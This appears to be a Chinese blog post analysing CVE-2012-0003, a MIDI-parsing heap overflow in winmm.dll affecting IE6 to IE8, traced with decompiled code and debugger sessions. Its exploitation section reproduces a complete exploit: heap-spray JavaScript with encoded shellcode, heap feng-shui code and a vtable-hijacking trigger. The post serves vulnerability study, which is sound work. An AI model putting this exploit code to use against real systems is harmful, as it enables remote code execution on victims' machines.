漏洞分析丨cve-2012-0003

196 阅读5分钟

作者:黑蛋

一、漏洞简介

这次漏洞属于堆溢出漏洞,他是MIDI文件中存在的堆溢出漏洞。在IE6,IE7,IE8中都存在这个漏洞。而这个漏洞是Winmm.dll中产生的。

二、漏洞环境

虚拟机调试工具目标软件辅助工具
XP-SP3、KaliOD、IDAIE6Windbg组件gflags.exe

三、MIDI文件简介

MIDI文件属于二进制文件,这种文件一般都有如下基本结构:文件头+数据描述 文件头一般包括文件的类型,因为Midi文件仅以。mid为扩展名的就有0类和1类两种,而大家熟悉的位图文件的格式就更多了,所以才会出现文件头这种东西。他通过Winmm.dll解析这种文件之后可以播出音乐。
结构图如下:

块名称块标记(四字节)块长度(四字节)块数据
头块“MThd”000000066字节长度
音轨块1“MTrk”后面块数据长度音轨事件数据
............
音轨块n“MTrk”后面块数据长度音轨事件数据

头结构:

偏移长度描述数值
0x004块标记“MThd”
0x044块长度00000006
0x082格式类型0~2
0x102音轨数1~65535
0x122每拍的计数值0x60为八分一拍

音轨事件:

事件类型格式描述
关闭音符(Note Off)0x8n note velocityn 代表通道号,note 代表高音数值,velocity 代表按键速度
打开音符(Note On)0x9n note velocityn 代表通道号,note 代表高音数值,velocity 代表按键速度
触后音符(Note Aftertouch)0xAn note amountn 代表通道号,note 代表高音数值,amount 代表按压力度
控制器(Controler)0xBn type valuen 代表通道号,note 代表控制项(如主音、延音等音量大小的调节),value 即为设置值
音色切换(Program Change)0xCn numn 代表通道号,num 代表音色号
触后通道(Channel Afertouch)0xCn note amountn 代表通道号,note 代表高音数值,amount 代表按压力度
滑音(Pitch Bend)0xEn LSB MSBn 代表通道号,LSB 代表低位值,MSB 代表高位值

四、漏洞复现

使用MSF生成exp:

使用箭头指向的链接地址,在XP-SP3中使用IE打开:

五、漏洞溯源

首先通过Windbg中一个组件gflags.exe开启IE页堆保护:

接下来找一个mid文件,或者用以下命令在kali中下载:

wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/+mid相对路径

然后用IE继续打开之前拷贝的链接地址,出现错误,右键页面打开源文件,修改mid文件位置为绝对路径,之后另存为html文件,把mid文件放相同目录下(这样可以让winmm.dll解析mid文件触发漏洞):

接下来打开IE,再打开OD附加IE,随后拖拽1.html到IE中,在IE上方选择允许运行,断在了溢出位置:

查看各模块基址,可以发现溢出点76B2D224属于winmm.dll,随后找到此动态链接库,拖到IDA中,找到76B2D224,F5反汇编:

接下来分析这段代码,看看v26来源:

void __stdcall sub_76B2D038(int a1)
{
int v1; // edi@1
int v2; // esi@2
int v3; // ecx@5
int v4; // eax@5
bool v5; // zf@5
bool v6; // sf@5
unsigned __int8 v7; // of@5
int v8; // edx@6
int v9; // ebx@6
int v10; // ST18_4@6
unsigned int v11; // ecx@6
unsigned int v12; // eax@6
int v13; // ecx@6
unsigned __int8 v14; // al@9
signed int v15; // eax@14
int v16; // ebx@16
int v17; // esi@18
int v18; // eax@18
int v19; // ST18_4@25
int v20; // esi@26
unsigned __int8 v21; // al@27
unsigned int v22; // ebx@28
__int64 v23; // rax@32
int v24; // eax@32
int v25; // esi@34
char v26; // al@34
char v27; // dl@34
char v28; // al@36
int v29; // edx@40
char v30; // al@40
char v31; // al@42
int v32; // [sp+4h] [bp-14h]@6
int v33; // [sp+8h] [bp-10h]@6
int v34; // [sp+Ch] [bp-Ch]@6
int v35; // [sp+10h] [bp-8h]@6
char v36; // [sp+17h] [bp-1h]@30
int v37; // [sp+20h] [bp+8h]@5
signed int v38; // [sp+20h] [bp+8h]@17
char v39; // [sp+23h] [bp+Bh]@6
unsigned __int8 v40; // [sp+23h] [bp+Bh]@28

  v1 = a1;
if ( !*(_DWORD *)(a1 + 52) )
{
while ( 1 )
{
while ( 1 )
{
v2 = *(_DWORD *)(v1 + 60);
if ( !v2 )
return;
if ( sub_76B2CA8A(v1) )
break;
sub_76B2CAC7(v1);
}
v3 = *(_DWORD *)v2;
v4 = *(_DWORD *)(v1 + 124) + *(_DWORD )((_DWORD *)v2 + *(_DWORD *)(v2 + 36));
v7 = OFSUB(v4, *(_DWORD *)(v1 + 128));
v5 = v4 == *(_DWORD *)(v1 + 128);
v6 = v4 - *(_DWORD *)(v1 + 128) < 0;
v37 = *(_DWORD *)v2;
*(_DWORD *)(v1 + 116) = v4;
if ( !((unsigned __int8)(v6 ^ v7) | v5) )
return;
v8 = *(_DWORD *)(v2 + 36);
*(_DWORD *)(v1 + 124) = v4;
*(_DWORD *)(v2 + 36) += 4;
v9 = *(_DWORD *)(v2 + 36);
v10 = *(_DWORD *)(v9 + v3);
v9 += 4;
v33 = v8;
v32 = v10;
*(_DWORD *)(v2 + 36) = v9;
v34 = sub_76B2C7F7(v1, v10);
v11 = *(_DWORD *)(v9 + v37);
*(_DWORD *)(v2 + 36) = v9 + 4;
v12 = v11 >> 24;
v13 = v11 & 0xFFFFFF;
v39 = v12;
v35 = v13;
if ( v34 && v12 & 0x40 )
{
*(_DWORD )(v2 + 28) = v33;
DriverCallback(
(_DWORD *)(v1 + 68), *(_WORD *)(v1 + 74), *(_DWORD *)(v1 + 4), 970, *(_DWORD *)(v1 + 76), v2, 0);
LOBYTE(v12) = v39;
v13 = v35;
}
v14 = v12 & 0xBF;
if ( v14 )
{
if ( v14 == 1 )
{
v19 = *(_DWORD *)(v1 + 124);
*(_DWORD *)(v1 + 48) = v13;
sub_76B2CA24(v1, v19);
}
else if ( v14 == 128 )
{
*(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;
v15 = 1;
if ( v32 == -1 )
v15 = *(_DWORD *)(v1 + 140);
v16 = *(_DWORD *)(v2 + 24);
*(_DWORD *)(v1 + 136) = 0;
*(_DWORD *)(v1 + 8) |= 0x20u;
*(_DWORD *)(v1 + 52) = 1;
if ( v15 )
{
v38 = v15;
do
{
v17 = *(_DWORD *)(v16 + 4);
*(_DWORD *)(v16 + 4) = v17 + 64;
v18 = sub_76B2C7F7(v1, *(_DWORD )(v17 + 32));
if ( v18 && !midiOutLongMsg(v18, v17, 64) )
++
(_DWORD )(v1 + 136);
--v38;
}
while ( v38 );
}
if ( !
(_DWORD *)(v1 + 136) )
*(_DWORD *)(v1 + 52) = 0;
*(_DWORD *)(v1 + 8) &= 0xFFFFFFDF;
}
else if ( (v14 & 0x80u) != 0 )
{
*(_DWORD *)(v2 + 36) += (v13 + 3) & 0xFFFFFFFC;
}
goto LABEL_48;
}
v20 = *(_DWORD *)(v1 + 132);
if ( v34 )
break;
do
{
LABEL_48:
if ( sub_76B2CA8A(v1) )
break;
sub_76B2CAC7(v1);
}
while ( *(_DWORD *)(v1 + 60) );
if ( *(_DWORD *)(v1 + 52) )
return;
}
v21 = v13;
if ( (char)v13 < 0 )
{
*(_BYTE *)(v1 + 84) = v13;
v40 = BYTE1(v13);
v22 = (unsigned int)v13 >> 16;
}
else
{
v21 = *(_BYTE *)(v1 + 84);
v40 = v13;
v22 = (unsigned int)v13 >> 8;
v13 = v21 | (v13 << 8);
}
v36 = v21 & 0xF0;
if ( (v21 & 0xF0) == -112 || (v21 & 0xF0) == -128 )
{
v23 = v40 + ((v21 & 0xF) << 7);
v24 = ((signed int)v23 - HIDWORD(v23)) >> 1;
if ( v36 == -128 || !(_BYTE)v22 )
{
v29 = v24 + v20;
v30 = *(_BYTE *)(v24 + v20);
if ( v40 & 1 )
{
if ( !(v30 & 0xF0) )
goto LABEL_46;
v31 = v30 - 16;
}
else
{
if ( !(v30 & 0xF) )
goto LABEL_46;
v31 = v30 - 1;
}
*(_BYTE *)v29 = v31;
goto LABEL_46;
}
v25 = v24 + v20;
v26 = *(_BYTE *)v25;                      // 这里
v27 = *(_BYTE *)v25;
if ( v40 & 1 )
{
if ( (v27 & 0xF0) != -16 )
{
v28 = v26 + 16;
LABEL_39:
*(_BYTE *)v25 = v28;
goto LABEL_46;
}
}
else if ( (v27 & 0xF) != 15 )
{
v28 = v26 + 1;
goto LABEL_39;
}
}
LABEL_46:
midiOutShortMsg(v34, v13);
goto LABEL_48;
}
}

根据分析,可以得到以下几个局部变量和寄存机关系以及相对于的地址:

V1 = edi  76B2D050
V2 = esi  76B2D06D
v9  = ebx  76B2D0B5
V11= ecx  76B2D0C3
V13= ecx  76B2D0D1
V20 = esi 76B2D248
V21 = dl 76B2D1F3
V24= eax  76B2D21E
a1 = edi 76B2D044

在OD附加IE后,运行起来,找到以上地址下条件断点:

然后跑起来,拖入1.html,到达溢出点,Alt+L查看日志:

可以发现在溢出前,v11=v13=007DB29F,是在相应位置下条件断点:

随后拖入1.html,断在了断点处,溢出点是读取ESI位置出现异常,我们向上观察ESI的值的来源,76B2D21E处是ADD ESI,EAX:

回到IDA中,对ESI溯源:

发现v20的值来源于参数a1+132;找a1的来源,看函数引用:

继续找v6:

继续找v7,正好可以看到v7+132的值:

继续跟进去sub_76B2B29D:

综上,可以看到ESI的值指向一个1024(0x400)字节的堆空间,返回到溢出位置,ESI+0x419超出0x400,所以造成溢出。

五、漏洞利用

首先我们对exp中的JS代码进行提取:

//堆喷射技术
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ufcf5%u40f5%u92d6%u9840%u4f48%ufcfd%u9f48%u4943%u4692%u274f%u9146%ud697%u4347%u4f41%u9143%u464b%u9949%ufc49%u379b%u46f5%ud64b%u90fc%uf941%u9b4f%ufd4b%u4f9f%u904b%u9949%u439f%u9049%ufd91%u93fc%u9b46%u2f43%u4891%u3798%ufcfc%u46d6%u4e4f%u4a92%uf5f8%u2799%u4b40%u99f5%u4e4f%u4af5%u4040%u2f43%uf597%uf537%u424f%uf93f%u4747%u924b%u2746%u979f%u933f%u97fd%u4841%u9948%u9098%u9246%u9892%u2f47%u4191%u429b%u2f49%u9991%u9ffd%u4147%u999f%u48fd%u373f%uf99f%ud6f5%u49f5%u434a%u479f%ufc96%u9940%u4f97%u989f%ufd49%u9941%u4627%u469b%u4398%u4840%u484a%u98fd%u9f93%u4940%u4a49%ud627%u48d6%u374a%uf942%uf590%u41fc%u274e%u9f41%u4f4f%uf537%u4147%ufc40%u434e%u373f%u912f%uf942%u479f%u4148%u9843%u404e%u3f4e%u4b49%u4296%ufdf5%u9692%uf597%uf996%u3f3f%u974f%uf998%u484a%u9792%u4149%u96fd%u9192%u4299%u414b%ufd3f%u9998%u91fd%u99f5%u4043%u4a93%u97f5%uf8fd%u934f%uf946%u48f9%u934b%u9f27%uf8f5%ufd4e%u4a47%u9f98%u97fc%u3f4f%u3743%ufc42%u993f%u37f9%ufc96%u9027%u4340%u9b98%u2f27%u494e%u9198%u91f8%u3796%ufcd6%ufd9b%uf947%ufcfd%u274b%u493f%u494b%u469f%uf9fd%ufc41%ufc40%u4846%u419b%ud690%u473f%u99fd%u9897%u912f%uf9fd%u439f%u9046%ufd92%u984b%u4691%u3ffd%u3f97%u434b%u2798%u9290%u46d6%u90f9%u373f%uf990%u3f96%ud6f8%u994f%u433f%ud69f%uf598%u424a%u4f48%u4ff5%uf59f%u4842%u2797%u43f8%u9742%u9f93%u2737%u993f%u93fc%u9648%ud64b%ufc90%ufd37%uf82f%u4a4e%u9bf9%uf8f5%u93fc%u9f40%u3f46%ufd4b%uf597%u2f37%u974e%u4896%u464b%u4398%uf9f8%u493f%u994b%u9b99%u9b27%u989f%u9149%u9349%u96d6%u4a99%u404b%u9f47%u2748%u91f8%u4849%u91f5%uf897%u469f%u4bfc%uf993%u42f8%u48f8%uf9d6%u43f8%u9bd6%ufd48%ufd98%u9f49%u419b%u919f%ufd4e%u4627%u419b%u3f4f%uf841%u4747%u989b%u4e48%u4e43%ufd3f%uf841%ufd49%u4191%u4e40%u4742%ufc90%ufd98%u2798%u9740%u414a%u494f%u379f%u3737%u494a%u43f9%u4647%u99d6%u42f9%u3797%u434f%u4e48%u9647%u9197%u939f%uf89b%ud6f8%u4647%u4f4a%u4a40%u92f8%u994a%u9b98%uf94b%u99f8%u929f%u9b47%u2749%ufc41%u9b9b%u422f%u919b%u4b4b%u973f%u4af9%u42f8%u933f%u424a%u9349%u9ff9%u9190%u4699%u412f%u4942%u90f5%u37fd%u4348%uf84a%uf9f5%u4696%u9299%u3ff5%ufd49%ud698%u9748%u4046%u92f5%ud640%u904b%ufc47%u4093%u9bd6%u489b%u49fd%u4b91%u9747%ufc27%u484a%u4e93%ufdfc%ufd41%u41f8%uf999%u9b4a%ud637%u9fd6%ufd48%u2f4b%u48d6%u47f5%u4143%u4b96%u4849%uf84b%u9340%uf541%u4a4f%ufd97%u4696%u274a%u929f%ufc37%u2748%u4a47%u9142%uf946%u2742%u9642%u3797%u46f5%u9b97%ufc99%u4893%u9992%u9148%ud690%uf998%u9191%u99fc%u4241%u2793%u4946%uf999%u4247%u984b%u27f5%u963f%u974a%u4f2f%u994e%u99d6%u9241%u374f%u3f2f%u4291%u4392%u274f%u9b98%u9b9b%u3ffd%u474b%uf948%u47f9%u9640%u43f5%ufc98%u82e8%u0000%u6000%ue589%uc031%u8b64%u3050%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%uacff%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f2%u8b57%u1052%u4a8b%u8b3c%u114c%ue378%u0148%u51d1%u598b%u0120%u8bd3%u1849%u3ae3%u8b49%u8b34%ud601%uff31%uc1ac%u0dcf%uc701%ue038%uf675%u7d03%u3bf8%u247d%ue475%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f5f%u8b5a%ueb12%u5d8d%u016a%u858d%u00b2%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u2e63%u7865%u0065");
var DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF = "%u0c0c%u0c0c";
var nops = unescape(DsMjWeAhGmSIMBoAvBknnercShPwpgoBVrnxZeQUReMTCxiUvuWILahMF);

while (nops.length < 0x1000) nops+= nops;
var shellcode =  nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}

这一堆代码就是构造一堆0c0c0c0c+shellcode的堆喷射代码。

var heap = new heapLib.ie();
var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert

  var clones = new Array(1000);

  function feng_shui() {
heap.gc();

    var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}

    var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j  = j + 2;
}
}

  feng_shui();

 
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}

这一块是创建一个select元素,并设置第一个属性为String“0x0C0C0C0C”,其他55个为Object属性。随后创建一个1000字节数组在堆空间中,循坏拷贝selob到数组中,然后再在偶数位的数组释放堆空间。这样可以造成类似如下的堆空间:

这样空闲堆块前后都是我们自己的数据,而申请0x400有很大的概率落在我们这些堆块中间的空闲堆块中。然后在这里,String在内存中用0x08代表,Object用0x09代表。
最后调用 trigger()函数,是遍历数组元素,若属性是Object,就执行clones[k].w0('come on!'),而在这里会调用CAttrValue::GetIntoVariant函数,这个函数会获取续表指针,调用虚表函数。
这里是溢出点,在溢出点的时候AL=0x08,是String,而在代码下方箭头地址指向代码Al+1=0x09,后续调用Trigger函数,走到clones[k].w0('come on!'),而这个语句会调用虚表,每一个对象前四个字节都是虚表地址,及0C0C0C0C,从而走到我们构造的堆里面运行shellcode,下面是取消页堆,然后再溢出点下断点,走到下方AL+1的位置:

我们看一下堆喷地址0x0C0C0C0C:

这一块都是0C0C0C0C+shellcode,一直重复的地址。继续走,可以看到计算器被弹出: